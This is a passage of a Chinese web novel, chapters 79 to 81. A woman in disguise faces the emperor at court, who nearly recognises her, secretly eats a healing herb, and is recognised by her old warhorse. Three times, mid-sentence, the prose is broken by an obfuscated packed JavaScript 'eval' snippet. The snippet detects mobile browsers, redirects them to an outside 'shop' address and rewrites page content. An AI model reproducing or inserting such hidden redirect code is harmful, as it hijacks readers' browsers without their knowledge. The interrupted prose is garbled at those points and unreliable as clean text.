张炎踱至他身侧,和他一起看着那边的人群,感叹道:“姜家这回可风光了!姜丞相为百官之首,两个子女也都并列朝堂。纵观全朝,哪家有这样的荣耀?姜丞相虽只有一个伯的爵位,但儿子为吏部侍郎,女儿又是五品指挥,这可都是手握实权的职位,比降等承公爵、侯爵都强。” 转眼见到裴祥光阴沉的脸色,他似乎猛然醒悟过来失言,话锋一转:“当然,姜家再风光,也比不上裴家一门双国公!” 裴祥光脸色稍缓。 张炎压低声音,意味深长:“何况,一朝天子一朝臣,将来……姜家万万不能和裴家比。” 两人对视一眼,心领神会。 想到将来,裴祥光顿时心平气和,笑呵呵和张炎道:“我们也去恭喜恭喜姜丞相。” 两人正欲上前,张炎忽觉背脊一凉,猛回头,只见秦实不知何时已立在几步之外,正整理着衣襟,见他望过来,忠厚地朝他一笑。 张炎心头一跳。 这么一个大个子,怎么行动却像个鬼魂般?离得这么近,以他的敏锐,先前竟没察觉。 自己刚才说的话……前面没关系,要紧的是最后一句。 衡量了一下距离,觉得这人绝无可能听见,张炎安下心,对着秦实略一点头,跟着裴祥光去了。 —— 早朝时辰将到,众臣鱼贯进入大殿,按照位置站好。 姜六航作为五品指挥,站在靠后的位置,前面有诸多官员挡着。她悄悄观察大殿,豪华和庄严一如她想象,但奇怪的是,殿内灯盏很少,且都用灯罩笼住,光线并不十分明亮。 没过多久,听到内侍喊“皇上驾到”,众臣呼啦啦跪下,山呼“万岁”。姜六航老老实实低伏着身子,听到上面传来一声“平身”,跟着众人站起。 众臣开始奏事。 皇上出声不多,只偶尔问几句,最后做出决断。 声音沉哑,里面基本上没什么情绪,像平静无波的水面。 姜六航听了一会,都与她无关,无聊之际,终于忍不住悄悄抬头,往上面看去。 一张装饰奢华的宽大龙椅映入眼帘,大哥端正坐在正中央。 姜六航头不敢抬得太高,视线只到他腰腹的位置。 玄色衮服上的金龙在幽暗光线下仍觉威仪,玉带流光,腰间还是没有其余饰物,只挂着那把匕首。一只苍白得刺眼的手搭在膝上,正缓缓捻动佛珠。一颗、两颗、三颗……那单调的节奏仿佛带着魔力,牵引着姜六航的心跳渐渐同步。 忽然,捻珠的手指骤然停住,一道凌厉如实质的目光穿透珠旒,自上而下狠狠攫住了她。 姜六航慌忙低头,心脏狂跳如擂鼓,几乎要冲破喉咙。那目光在她身上停留一会才移开,她暗松一口气,再不敢抬头,竭力缩起身形,只盼着快些散朝。 金殿之上,秦信收回目光,捏紧佛珠。 ——姜恒。 姜丞相才找回的失散二十四年的女儿。 连闯伏龙山三关,新任的御林军指挥。 和赤霄剑客姓名读音相同的一个女子。 似曾相识的打量…… —— 半个时辰后,再无人上奏。 姜六航振奋起精神,只等着内侍喊“退朝”,就去冷宫寻天心草,却听御座上沉哑的声音传来:“御林军指挥姜恒上前来。” 姜六航:“……” 身后不知哪个部门的一位官员小声催促:“姜指挥,快去呀。” 姜六航走到殿中,长揖行礼:“皇上。” 好一会儿,上面没出声。 殿内气氛逐渐凝滞。 姜六航维持着行礼的姿势,腰背僵硬。 莫非礼节有误?她飞快思索着姜大人教导的规矩。 没错啊。 她分明记得,姜大人说,只有上朝之时,以及盛大典礼,或是犯了事,需得向皇上行跪礼,其它时候只需长揖。 她又没犯事,不至于要她跪下吧? 旁边传来一声咳嗽。 姜六航余光扫去,见姜大人捧着笏板,笔直站在众臣的首位,目不斜视。 这声响在寂静的殿中格外清晰。 “免礼。”上座终于出声。 姜六航直起身,垂眸盯着脚下的金砖。 “朕听闻,姜指挥前尘尽忘?” “是。” “为何还记得怎样调兵布阵?” “臣也不知,仿佛刻在骨子里一般,排兵布阵、应对攻守,念头一起便自然成形。” “抬头。” 姜六航稳住心绪,依言抬头。 上座之人头戴十二旒冕冠,白玉珠旒垂下,遮住半张面容,在下巴处投下一片阴影。 天子威严,高高在上,与人隔绝。 那样陌生、那样遥远。 姜六航一阵心慌,目光下垂,正落在挂于腰间的匕首。 乌木刀鞘上的细密金色花纹映入瞳底,她的心定下来。 “近点。” 姜六航上前三步,金砖映出她晃动的影子。 “再近。” 再上前三步,距离丹陛仅两步之遥,从上投下的压迫目光,牢牢盯在她脸上。 “再近。” 姜六航敏锐地察觉到,上座的声音不知为何,含着一丝轻颤。 众臣骚动起来,惊疑的低语嗡嗡作响,无数目光聚焦在她身上。 姜六航已站在百官最前,脚尖抵着台阶。她仰着头,承受着上座之人从珠旒缝隙间直直落在脸上的视线,如烙铁滚烫,如浪潮翻涌。 不会……吧? 真能认出来? 手不自觉握紧,指甲嵌入掌心,阵阵刺痛,后背沁出一层冷汗。她努力控制着表情和眼神,不显出异样。 “叮当!” 御座上的人猛地站起,冕冠垂下的玉珠撞击。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030241|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 殿内的议论嘎然而止,众臣愕然看着上座之人疾步踏下丹陛,在最后一级台阶停住,身体前倾,目光如钩,死死锁住女子的脸。 靠近的一些大臣,清楚地看到皇上握着佛珠的手颤抖,指节绷得发白。 怎么回事? 皇上认识姜指挥?看这样子,关系还不浅?是友,还是仇? 臣子们面上的惊愕和猜疑都未入秦信的眸,他只看着……这双眼,他看过无数遍,画过无数遍! 是六航! 疯了!他一定是疯了! 完全不同的脸,且是个女子。 然而—— 未必没有和龙影面具同样神奇的面具,面前的女子,是不是正戴着那样的面具? 不,姜丞相不可能认错自己的女儿。 那么,是六航戴了面具? 无数记忆碎片在脑中疯狂闪现:六航从不与军士同浴,哪怕酷暑也绝不赤膊,甚至更衣也刻意避开人群。还有,六航说,没有那个功能,会否并不是身有隐疾,而是…… 女子失去了以前的记忆,那失去的,是不是,正是六航的记忆? 这个猜想是如此荒谬。 秦信一面觉得自己彻底疯了,一面又忍不住像溺水的人抓住飘到面前的稻草。 他眸底燃起近乎癫狂的灼热希冀,笼住女子:“你以前的事——去过哪里,做过什么,一点都不记得了?” “不记得了。” “人呢,可还记得什么人?” “不记得。” 秦信身子又往前倾了一点,声音中带出明显的颤音:“你破八阵图,亦是本能?” “是。”台阶上之人血色尽失的脸色刺痛姜六航的眼,可是她不能退缩,咬紧牙答道。 两人一上一下,都直视着对方,仿若对峙。 可两人之间的气氛,却又不像敌对,而是一种说不清道不明的拉扯、纠缠。 秦信视线下移,落到女子臂上,他道:“你的左手腕上方,是否有一颗……” “皇上!”一声急促的呼喊猛地在殿中响起,姜子循抢步出列,急行过来,挡在女儿身前,“姜指挥虽忘却前事,但臣已详查其过往。” 秦信一顿,转向他,声音沙哑地问:“什么过往?” “二十二年前,一妇女到泉州寻亲未果,病重将死之时,将收养的两岁女儿托付给一对夫妻。夫妻俩为女孩改名魏枕书。女孩长到八岁,那妻子死了,男子携女往北狄国经商。今年三月,男子病死,魏枕书带着养父骨灰回中原,进入大夏国境时,留有登记信息。” “一直在……北狄国?” “是。”姜子循一字字道,“这些年,姜指挥一直居于北狄国,在一部落首领手下当了个谋士。因她面貌不够威武,恐人轻视,故常年戴着一青面獠牙面具,人称青面鬼才,在北狄国有些名气。” 身子控制不住地轻抖,珠旒晃动,“叮当叮当”清凌地响,秦信张了几次唇,才把话说出口:“魏枕书既戴着面具,怎能确定,姜指挥即魏枕书?” “姜指挥身上有魏枕书的文牒。” “姜指挥失去记忆,并不知那文牒是不是她的。也可能是机缘巧合,到了她身上。” 姜子循默然片刻,拱手道:“皇上,魏枕书养父去北狄国之前,把一些东西交给亲友保管,其中有一套衣裳,是魏枕书被妇人捡到时穿在身上的。臣派去的人把那套衣裳带了回来,正是拙荆亲手所做,在姜指挥出生之时,臣给她穿上的。” “由此可知,魏枕书即姜指挥。” 一字一句,宛如来自地狱的冰冷判言,砸在秦信身上。 他回头,又看向那双眼。 不是……六航。 最后一丝希冀湮灭,只余一片吞噬一切的、死寂的绝望。仿佛支撑的最后一根支柱轰然倒塌,灵魂被瞬间抽空,徒留一具摇摇欲坠的空壳。 殿中寂静无声,连呼吸都似被抑住。 半晌,秦信猛地后退一步,却被高高的台阶狠狠绊倒。 珠旒甩到一侧,姜六航看到了那双眼。 那是怎样的一双眼啊。 赤红如血,深不见底的悲恸凝固其中,无有半分生气,只剩一片令人惊心的死寂。 “皇上!”冯简脸色煞白,一个箭步冲上去,险险撑住皇帝下坠的身形。 秦信站稳,一把推开冯简,一路踉踉跄跄,跑到龙椅旁,撞开后面的珠帘。悬挂着的彩色珠子一阵急响,有几颗被扯落在地上,顺着台阶滚下来。 珠帘重又落下,皇帝的身影消失在其后。 内侍如梦初醒,尖声喝唱:“退朝——” 一颗珠子滚到姜六航脚前,她拾起,冰凉沁入指尖。 她抿唇,抬手按住心口。 那里,无端地闷胀着,像堵了一块湿透的棉絮。 有些疼。 80. 第 80 章 “轰——!” 片刻寂静后,大殿里轰然炸响。 各种窃窃私语、暗中打量从四面八方,如潮水向姜六航涌来,几乎要将她淹没。 “恒儿。”耳边传来温和嗓音,胳膊被人扶住。 她转头,对上父兄关切的脸。 “恒儿,吓坏了吧?别怕,皇上有点误会,爹已经解释清楚,以后再不会了。” “嗯。”姜六航低应,心绪却如乱麻。 姜大人猜到大哥疑心她是衡王了吧?所以大哥要问出那颗红痣时,姜大人及时打断。那姜大人自己呢?是否也起了疑心? 姜六航抬眸,探寻地望进父亲眼底,只看到一片纯然的关心、担忧。 “大妹妹,你先回家歇着,喝一碗安神汤,我去替你向冯统领告假。”姜守在一旁道。 告假? 姜六航瞬间醒神。 不行! 不能被扰乱心神! 现在最要紧的是寻到天心草。 狠劲压下翻涌的情绪,她深吸一口气,脸上绽出一个看似轻松的笑容:“不用回家。哥哥替我请一会儿假就好,我想……先看看皇宫。” 姜子循:“……” 姜守:“……” 两人哑然,对视一眼。 女儿/大妹妹这对皇宫的执念啊……不过,这时候还记挂此事,看起来没被皇上的异状吓着。 “好吧。”姜子循放下心,无奈地笑道,“爹陪你去。” “不用不用,爹你去忙,我只稍稍看一下。”姜六航连忙拒绝。 姜子循略一思忖,整个皇宫里只皇上一个主子,也不怕女儿冲撞什么。 “好,你去吧。”他应下,“想看就多看会儿,明天去冯统领那里报道也没关系。” 姜家父子女三人正要出殿,陡然发现殿里还满站着人,暗戳戳地盯着他们,却做出和身边人讨论朝务的样子。 “杨大人,益州税务统计已完成,我等会把结果给你。” “张大人,这桩案子,你看……” “李大人,送往边疆的军粮,务必要核对无误。” 姜子循:…… “诸位如此勤于公务,本相甚慰。只是,下朝已多时,为何不去官署,要站在此处议事?” 众臣讪笑着往门口去。 独有一人,立在原地,锐利视线直直射过来,定在姜六航脸上。 紫袍金带,正是谢思礼。 姜六航在那恍如要扒开她皮肉的视线下,激灵灵打了个冷颤。 很快,那人抬步走了,姜六航的心却提了起来,久久不能放下。 —— 从大殿出来,姜六航循着路线,直奔冷宫。 冷宫里很冷清,姜六航一路都没遇见人。很快,她在东北角荒芜的院墙下找到了三株天心草。 绿叶狭长,中间一道浅灰叶脉。 她伸出手指悬于叶片上方半厘米,叶片果然像被磁石吸引般自动贴上来,微微卷曲。 形状、特征都和从庸叔叔所说分毫不差。 是天心草没错。 然而,这草叶……未免过于鲜亮洁净。 莫非还特意清洗过? 一丝疑虑闪过,但时间紧迫,不及多想。 真就这么吃下去?看上去不脏,手抹过也没有灰尘,但细菌病毒是肉眼看不见的。有条件的话,最好还是洗一洗。 目光扫过荒院,却见角落有一口辘轳井,旁边木桶木瓢俱全。 姜六航大喜,快步过去,打上清水,舀了一瓢,奔回到天心草旁。选了两片最饱满的叶子,一边淋水,一边搓洗叶面。洗完之后,掐下那两片叶子,毫不犹豫送入口中。清凉微苦的汁液在齿间弥漫,顺着喉咙滑下。 成了! 她迅速将剩余水倒回井中,木桶木瓢归位,环顾四周确认无误,满意地离开。 很顺利。 除了沈以贵、从庸叔叔和她,无人知晓此处的秘密。今日之行,神不知鬼不觉。 接下来,只需静待从庸叔叔调理身子。五个月后,再来一次。 从庸叔叔说,第二次吃下天心草,调理三个月,基本就可确定到底能否去除增气丹的毒性。 也就是说,八个月后,生死去留,终见分晓。 若能留下…… 脑中倏地闪过那双赤红死寂的眼眸,心口骤然传来一阵尖锐的刺痛,愧疚与怜惜汹涌漫上。 留下……这个念头从未如此刻般炽烈。 —— 姜六航走后不久,一个穿着太监服饰的老者来到院子,熟练地到井边打了水,舀了一瓢,走向园中杂草。 他看着满园的草,眼神呆滞,却含着一种诡异的柔和,嘴唇翕动,仿若对着人说话:“渴了吧?奴才来喂水。给你们洗干净,漂漂亮亮的,娘娘瞧着才欢喜……” 他挪动着脚步,一株株草侍弄过去,动作轻柔,宛如对待心爱的孩子。 走到天心草近前时,老太监忽然看见地上残留的水渍,惊咦一声,枯瘦的手指颤抖着摸了摸残枝的断口:“谁偷了我的草?” 他脸上瞬间布满慌张,继而转为愤怒,猛地直起身,挥舞着木瓢嘶声咆哮:“谁!谁偷了我的草?是谁!” 像只被激怒的老兽,他转着圈,恶狠狠地瞪着四围:“出来!给我出来!” 一名巡逻的御林军恰从门口经过,闻声进到院子,厉声呵斥:“商公公,你嚷嚷什么呢?皇宫里不得喧哗!” 商公公蓦地盯向他:“是不是你偷了我的草?” 被他那呆滞又诡异的眼神死死盯着,军士心里不由得一阵发毛,忙指着院子里的野草:“不都好好在这儿吗?没人偷!” “偷了!”商公公固执地道,“就是偷了!” “看在你是宫中老人份上,总管才容你在此,给你一口饭吃。”军士疾言厉色,“你再嚷,被人听到,总管也保不住你,非得把你赶出去不可!” “不!我不出去!”商公公浑身一抖,声音带上哭腔,“我要守着娘娘的草!不要赶我出去!” 军士见他这副样子,又觉可怜,放缓语气:“你别吵,就没人赶你。” “我不吵。”商公公慌忙捂住嘴,片刻后又放下,哀求道:“军爷,帮我找找偷草的贼吧,让他把草还回来,求求你了……” 军士敷衍道:“行行行,给你找找。” —— 姜六航全然不知她走后的这一番事。踏出冷宫,她深吸一口气,往勤政殿走去,准备去顶头上司冯统领处报道。 一路上想着接下来的事。 从庸叔叔说,吃下天心草后会发热,至少六天,才能完全退热。 按照计划,这六天之内,从庸叔叔会来到她身边。 有今禾姐的安排,从庸叔叔的身份不成问题。毕竟,今禾姐给她伪装的身份,经过姜大人那样细致深入的追查,都没被查出破绽。 她对今禾姐有信心。 今禾姐的伪造难以堪破,是因她惯于在九成真中掺入一成假。魏枕书真有其人,其之前的经历也都和姜大人的调查吻合。 这样严密,应该……查不出什么吧? 正想至此,忽地,前方传来人声和马鸣。 抬头望去,前面是一片极开阔的马场,有军士正在赛马。马匹高高跃起,跨过障碍,旁边观看的军士喝彩阵阵。 姜六航不自觉走过去。 军士们看见她,没有在意。 大夏尚武,文官也有不少擅骑射。 姜六航看了一会,走向马厩。 这里定有不少绝品神驹。 还有,大哥原先的坐骑已经过了强壮期,不知换的什么马?在不在这里? 皇家马厩气派整洁,没有什么异味。她停在一间棚前。 一个眉毛稀疏的内侍殷勤地上前:“姜指挥。” 姜六航略带讶异地看他一眼:“你认识我?” 内侍微微弓着腰:“奴才认识姜侍郎,姜指挥和姜侍郎长得一样。” 姜六航恍然。 她的事传得真快。 今天才上朝,这人就知道她的官职了。 “这是皇上的御马黑影,北狄名驹,通体如墨,跑起来快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035790|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得像一道影子。”内侍热情介绍。 姜六航点头,看向棚内。 黑影的鬃毛在光线下泛着光泽,身躯高大健壮,肌肉线条流畅,四蹄如碗口般粗壮有力,气势逼人,比她见过的所有马都要神俊。 此时它正不耐地喷着响鼻,高昂着头,眼神睥睨地扫视着四周,很是骄傲的样子。 似乎察觉到注视,黑影对着她响亮地叫了一声。 姜六航伸手朝它探去。 “姜指挥不可!”内侍惊呼。 姜六航的手已落在了黑影的脖子上,掌心传来温热坚实的触感。 她略带疑惑地转头问:“怎么了?” 内侍:“……” 他瞠目看着黑影不仅没有发怒攻击,反而亲昵地用脑袋拱了拱姜指挥的手臂。 “这、这……黑影除了皇上,从不让人近身。上次严将军稍稍靠得近了些,差点被它一蹄子踢断骨头!” 姜六航莞尔,顺着黑影光滑的脖子摸到它竖立的耳朵,眼中泛起笑意:“哦?你这么傲啊?” 黑影仿佛很享受,抖了抖耳朵。 见着内侍依旧呆愣的表情,姜六航解释道:“不知怎的,我自来就招动物喜欢。” 从上辈子起就是这样,街上碰着狗啊猫的,即使被拴着不能到她身边来,也要亲热地摇摇尾巴。 内侍回过神,谄媚地恭维道:“那是姜指挥身上有福气,动物们通灵性,才愿意亲近。这些气运人看不见,动物感觉灵敏,却是能感应到,看得见的。” 姜六航眯眸。 福气? 她确实有些福气。 死了还能穿越,又绑定了系统,有回去的机会。 系统还是个心性纯净的小孩,危急时刻,冒着极大风险,强行和她再次绑定。 天心草绝迹多年,她却侥幸在皇宫寻得。 但愿这福气继续护佑她,顺顺当当去除增气丹的毒性。 她接着朝前走去。 内侍亦步亦趋地跟着:“黑影隔壁住着的,是——” 姜六航脚步猛然顿住。 一匹异常高大、通体赤红如火的骏马蓦地撞入眼帘。 内侍后半截话传入耳内:“衡王的坐骑——赤云。” 棚内,那匹红马似有所感,猛地转头,当视线触及姜六航的刹那—— “嘶——!!!” 一声撕裂长空的、悲怆激昂的嘶鸣炸响! 赤云后腿猛蹬,如离弦之箭朝门口冲来。 拴在柱子上的粗绳瞬间绷直。 它不顾一切地挣扎,脖颈拼命前伸,四蹄狂乱蹬刨地面,尘土飞扬,一声声嘶鸣越来越高亢、凄厉。 姜六航死死攥紧拳头,指甲深陷掌心,却感觉不到痛,心脏几乎要跳出胸腔。 赤云! 她的赤云! 内侍骇然扑到门边:“怎么了?!” 几名内侍马夫闻声冲来,试图安抚。赤云狂躁甩头扬蹄,将人重重甩开。亏得他们经验老道,反应极快,赶紧就地一滚,没被马蹄踏着。 姜六航向后退了一步,彻底离开门边的视线范围。 马鸣声陡然转为绝望的哀鸣。 马场的内侍首领气喘吁吁地匆忙赶来,见状大急:“是身上受了伤吗?是不是哪里扎了什么东西?” 马夫擦着急出的汗:“没有啊!刚刚检查了,背上、腹部、耳朵、腿……全都仔细摸了一遍,都没事!” 首领:“是不是吃了不干净的东西?” 马夫斩钉截铁地道:“不可能!知道皇上着紧,我们把它当祖宗侍候着,哪敢不尽心?草料都是精挑细选、新鲜的,水是看着从井里打上来的,吃食上绝对不可能有问题!” “那到底怎么回事?”首领急得顿足,“你们好生看着,我去禀报皇上,这马祖宗出了问题我们可担待不起!”说着不敢耽搁,拔腿狂奔而去。 原先的那个内侍这才猛地想起姜指挥,连忙往场中张望,已经不见她的人影。 棚内,赤云仍在嘶鸣、挣扎,死死盯着主人消失的方向,晶莹的液体从眼中流下。 81. 第 81 章 冯简进入密室时,见皇上站在一幅画前,紧闭着眸,脸上哀痛、惊疑、恐惧……种种情绪,混合成一种令人心悸的神情。 冯简的心陡然提起,吊在半空。不知何时会坠落,而下面,又是何等可怕的景象。 “皇上。”他开口,急欲打破这令人窒息的不安,“马场……” “冯简。”画前的人轻声打断他,“你看,衡王的眼,和姜恒像吗?” 冯简朝画上望去,衡王站在城墙上,朝阳映入其眼中,熠熠生辉。 那眼……人一共就那样几种眼型,同一种眼型的,不都大差不差吗? “臣看不出。” 他心里很是奇怪。 皇上和姜守相识多年,可从没说过他的眼睛像衡王。怎么到了姜恒,就突然觉得像了呢?还在金殿当场失态? 明明两兄妹长得差不多一个样,怎的就一个像衡王,一个不像? “臣倒是觉得,姜指挥的眼睛和姜侍郎很像。” “不像。”沉哑的声音道。 姜守和姜恒,怎会像? 一个光华内敛,一个灼灼耀目。 秦信眼睫颤动,他不敢睁眼。 他怕。 怕看画上那双眼睛。 下朝后,他便径直来到这里。然而,画中六航的眼,与女子的眼,在他眼前晃动、扭曲、重叠、交织……到最后,他脑中一片混乱,分不清他看着的,到底是谁的眼。 “皇上。”瞧见皇上面颊肌肉抽搐,腮帮上现出明显的咬牙痕迹,冯简心中惊惧,连忙禀报,以期引开皇上注意力,“马场内侍来报,赤云突然发狂,安抚不下。” 秦信蓦地睁眼。 “速召兽医,看陈院使和越太医可在太医院中,召他们过去一趟。”他疾步往门外去。 冯简赶紧跟上。 大约一刻钟前,姜六航几乎是逃也似的离开马场,耳边一直回响着赤云那悲怆的嘶鸣。她强迫自己镇定下来,朝着勤政殿方向快步走去,准备找顶头上司冯简报道,一边在心中祈祷,无人将赤云的异常与自己联系起来。 刚走到勤政殿附近,离着大门还有十几步距离,忽地一大群人从里面出来。御林军、内侍簇拥着一人,脚步匆匆,如一阵疾风刮过来。 她不自觉望向中间那人,恰与一双凤眸对上。 那眸光骤然翻涌,似有什么要喷薄而出,不过一瞬,又移开去,快得仿佛那目光只是不经意在她身上停了片刻。 姜六航醒过神,赶紧行礼,避让一旁。 下垂的视线里,各色袍角翻飞,各种样式的靴子齐齐向前。 却有一双军靴停在她面前,接着响起冯简的声音,似乎是唤来了一名军士:“你带姜指挥去寻沈将军。”语毕,紧追着前面去了。 姜六航抬头蹙眉,望着一群人的背影远去。 这是出了什么急事? 那名军士抱拳:“姜指挥,沈将军在后殿巡逻,请随我来。” 路上姜六航状似无意地打听事由,这也不是何等机密之事,军士告诉她:“衡王的坐骑不知为何突起狂躁,皇上赶去看看。” 姜六航的心脏猛然缩紧,后背出了一层冷汗。 那内侍不会多嘴,说赤云发狂之前,她正好在场吧? 大哥正是对她疑心的时候…… —— 另一边,秦信赶到马场,只见赤云在马棚内横冲直撞,几个试图靠近的马夫和内侍都被它甩开。 “赤云!”秦信推开挡在身前的侍卫,大步流星走向它。 骏马的头颅转向声音来处,狂躁的冲势稍缓。 那满身的鲜红让秦信脑子里刺痛,他深吸一口气压下,径直向前,伸出手,落到赤云身上。 所有人都屏住了呼吸,心提到了嗓子眼,唯恐马匹下一刻暴起伤人。军士们浑身绷紧,随时准备上前护驾。 所幸赤云渐渐松弛下来,喉咙里发出低沉的、委屈的呜咽,不安地打着响鼻,但那股骇人的狂躁已经褪去。 秦信让出位置,对等候一旁的御医和兽医道:“看仔细些。” 陈院使和越太医都是太医院的顶级圣手,一擅外科一擅内科,两人被火急火燎地叫来,原以为是皇上或哪位贵人生了急病,谁知竟是给一匹马瞧病。 见皇上慎重其事的样子,他们也不好说不擅看马病,只得上前,和兽医一起,检查马匹的各部位,听诊心肺,又检查马匹的饮食。 最终,越太医躬身回禀:“皇上,臣等反复查验,未见任何不妥。” 马夫和内侍们同时呼出一口长气,脸上露出劫后余生的表情。 下一刻,皇上的目光扫过来,沉沉落在他们身上:“总有缘故。你们仔细想想,赤云今日有何异常?从何时开始狂躁?之前接触过何人?何物?” 一个脸色黝黑的马夫战战兢兢回道:“皇上,奴才们给它草料、饮水,都和往日一样,并无不同。今天除了给它洗刷,也没有其他人近身。” 另一年轻些的马夫豆大的汗珠沿着脸庞滑下,声音发颤:“皇上,奴才每天都给它洗刷,今天也是一样洗的。” 旁边那个眉毛稀疏的内侍心中一动,想起了赤云发狂之前,姜指挥正好在旁边。 但姜指挥在棚外,并没和赤云接触。 正在他犹豫是否将此事上禀时,听得冯统领道:“皇上,莫非是您连着好几日未来,赤云闹脾气了?” 皇上的目光从他们身上移去,转向冯统领。 内侍打消了上禀的念头。 皇上既已没追究的意思,多一事不如少一事。 “皇上,衡王刚……的那段时日,赤云也是如此,除了皇上,谁都不认,连洗刷都是皇上您亲力亲为。”冯简小心翼翼地道,“它今日这般,是不是念主了?” 秦信的目光落在赤云湿润的眼眶上,沉默地伸出手,解开了拴在木桩上的缰绳。 他没有上马,只是牵着缰绳,引着赤云走出马棚,绕着场子转圈。 冯简默默跟在后面,看着一人、一马投在地上的被拉长的影子,那样寂寥凄凉,不由得心中泛起一股浓重的酸涩。 —— 在秦信牵着赤云转圈时,姜六航见到了沈以贵。 “我们有一个指挥月前调往了别处,姜大姑娘顶的是他的缺。”沈以贵亲切地笑着,“御林军共有四个指挥,姜指挥你和郑指挥手下各八千军士,平日有事可互相照应,有什么难处来找我。” 姜六航听懂了,她和郑指挥归右卫将军沈以贵管。 “是,日后还请沈将军多多指教。”她道。 “指教不敢当。姜指挥排兵布阵出神入化,将来前程远不止于此。”沈以贵仍旧笑着,“以后都是自己人,就不说客气话了,齐心办好差事。” 姜六航目光在他脸上停顿片刻,应道:“好。” 沈以贵向来笑脸迎人,相处数年,她能分辨出,那到底是真诚的笑,还是客套的笑。 现在,她以前的近卫就在客套地笑着。 见过直属上司,了解了自己今后的工作内容,姜六航根据近卫的指点,去东北角的训练场。 一路上,她心神不宁,深恐大哥忽然出现,质问她,为何要假死?为何潜入皇宫?为何在金殿之上,看他在深渊里百般挣扎,忍心不相认? 她摸入袖中,捏紧那颗珠子。 那是一颗红色的珠子,从龙椅后的帘子上被扯下来,滚到她脚边,被她捡起,藏入袖中。原本冰凉的珠子,贴着皮肤,已是一片温润。 大哥绝望、死寂的眼不停在脑子里闪现,他踉跄奔上台阶,扯开珠帘的情景,一遍遍在脑子里回放。 心疼、怜惜,不受控制地涌上,排山倒海。在某一刻,她甚至想不顾一切地奔到大哥面前,告诉他:大哥,是我!抱住他,对他说:大哥,对不起。 可是,不行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039902|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜六航咬紧牙。 坚持住,八个月。 不知不觉走到了训练场,场上尘土飞扬,数百军士或在跑圈,或在拉弓,或捉对厮杀,呼喝声此起彼伏。见到她走近,不少军士停下动作,抱拳行礼,目光中带着敬佩。 “姜指挥!” “见过姜指挥!” 姜六航抱拳回礼,紧绷的心弦稍松。 军中靠实力说话,她闯过的那三关,强势证明了她在军事上的能力,已凭此赢得了军士们的信任和尊敬。 将帅上任的第一步——立威,她已漂亮地完成,而后面的练兵,对她来说,是驾轻就熟的事。 一个三十几岁,留着两撇八字胡的健壮男子大步流星地迎了上来,声音洪亮如钟:“姜指挥,我是郑大海,以后咱们就是一个战场上的同伴了!” 他伸手要去拍姜六航的肩膀,一眼扫到那单薄身板,又连忙收回来,挠头笑道:“左卫将军手下那帮孙子,仗着能打,压了咱们整整三年。这回好了,有你姜指挥在,排兵布阵这块儿,咱们非得让他们尝尝厉害不可。我老郑就管冲锋陷阵,怎么打,全听你的!” 姜六航被他直爽的豪气感染,压下心头的纷乱,也扬起一个笑容:“郑指挥过誉了。既是一处当差,自当尽力。”她环顾训练场,问道,“日常训练都在此处?对阵呢?这地方小了点吧?” “小打小闹在这儿。”郑大海一指远处,“要动真格,两边拉开架势,就得去城外的大校场。明天正好有一场。”他搓着手,一脸期待,“姜指挥你先好好瞧瞧,摸清他们的路数,回头咱们再想个绝招,杀他个措手不及。” “好。”姜六航应下,心里却说了声“抱歉”。 明天她要失约了。 今天晚上,她就会发高热。 在训练场待了一个多时辰,姜六航一直提心吊胆,时刻注意着勤政殿的方向。好在始终没人来抓她,让她稍微放下心。 想必那内侍没有多嘴。 午时,姜六航随郑大海去了御林军专用的食堂。 饭菜是免费的,若要添些好菜,则需自己掏银子。郑大海不由分说点了一桌子菜,得知姜六航体弱,不能饮酒,颇为遗憾:“唉,姜指挥你这身子骨……不过没事,多吃肉,把身体养好。姜帅说过,为将帅者,即使武力不高,也得有好体力。” 姜六航失笑,被这句话堵在武考门外,焦虑忧愁,也才过去几天。 郑大海一边风卷残云,一边继续之前的话题:“姜指挥,明天对阵你先看看,心里有个数。咱们憋着劲儿,不光是为了出口气,更重要的,”他压低了些声音,神情认真起来,“是要练好兵后,十一月底那场大演武,一致对外。” “大演武?”姜六航夹菜的手一顿,抬眼看他。 “对!”郑大海用力点头,咽下嘴里的肉,“就在北郊。咱们御林军一队,京城驻军分两队,三队比个高下,争头名。”他凑近了些,声音带着兴奋,“冯统领武功好,但排兵布阵嘛……比武统领和小裴国公差得有些远。先前咱们不敢想头名,可现在不一样了,有姜指挥你在!” 他目光灼灼地盯着姜六航:“姜指挥,这回的头名,咱们得争!争到了,明年三月,咱们在来贺万寿节的那群蛮……咳,那些外邦使臣面前,大大地露脸,扬我国威。”他用力拍了拍胸脯,“姜指挥,全看你的了!我老郑和手下的兵,绝对指哪打哪!” 接收到对面期盼的眼神,姜六航觉得,压力有些大。 她深吸一口气,郑重道:“我定当竭尽全力。” 